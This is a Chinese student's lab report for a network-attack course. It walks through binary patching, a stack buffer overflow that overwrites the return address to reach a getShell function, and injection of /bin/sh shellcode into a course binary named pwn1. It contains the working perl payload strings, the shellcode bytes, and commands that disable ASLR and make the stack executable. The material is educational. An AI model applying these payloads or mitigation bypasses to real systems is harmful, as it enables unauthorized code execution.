20155205 郝博雅 《网络对抗技术》Exp1 PC平台逆向破解
一、实验准备
1、 掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2、掌握反汇编与十六进制编程器
- 通过
objdump -d xxx
可进行反汇编。
- 在vim中,通过
:%!xxd
转换成16进制。
二、实验内容
1、正确修改机器指令改变程序执行流程
- "call 8048491 "汇编指令将调用位于地址8048491处的foo函数,若是我们想让main调用getshell,就需要把相应机器指令修改。
对于我这种汇编学的不好的人来说,我不会直接修改机器指令,老师告诉了我们不会也可以猜测的方法:我们先用foo的地址减去getshell,得到差值。我们知道,对于机器指令“e8 d7ffffff”,e8即跳转之意,所以可以修改的便是“d7ffffff”,显然我们要修改d7,所以给d7减去差值0X14得到c3。
根据以下步骤在vi中进行修改
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8 d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
- 下图为vim编辑后的结果:
2、通过构造输入参数,造成BOF攻击,改变程序执行流程
- 首先输入
gdb 20155205gwm
进行调试,run程序之后输入“1111111122222222333333334444444455555555”进行试验,出现了
Program received signal SIGSEGV, Segmentation fault.
的错误。我们接着输入
info r
来查看各个寄存器的值。可以看到eip的值为5。
- 我们再试一次,这次输入“1111111122222222333333334444444420155205”,发现eip的值变成了2015。
2015四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给20155205pwn,20155205pwn就会运行getShell。
我们构造了输入字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a",输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成包括这样字符串的一个文件。
- 使用16进制查看指令xxd查看input文件的内容是否如预期:
- 然后将input的输入,通过管道符“|”,作为pwn1的输入:
3、注入Shellcode并执行
- 首先通过
install
命令安装命令安装execstack。
- 修改相关配置
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //查看地址随机化
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
- 使用retaddr+nops+shellcode结构来攻击buf
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么:
1、输入
(cat input_shellcode;cat) | ./pwn2
攻击buf,
找到pwn1的进程号是:3067。
2、启动gdb调试这个进程。通过设置断点,来查看注入buf的内存地址。
最后成功攻击!
三、遇到的问题及解决方案
- 问题一:在安装lib32ncourses时出现了以下问题。
问题一解决方案:网络配置发生了错误,需修改DNS和IP配置。
问题二:为什么第二个实验中eip显示为0x35353535时说她的值为都是5?
问题二解决方案:怪我自己把学的都忘了,这是因为机器存储的是ascii码值!包括后来为什么输入“\x7d\x84\x04\x08\x0a”也是一样的道理!
四、实验总结
- 由此实验我对“漏洞”和“攻击”有了更深入的理解。本次试验是利用缓冲区漏洞进行攻击,可以使得程序按照攻击者想要的方向运行。正如百科中对缓冲区溢出的定义:
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。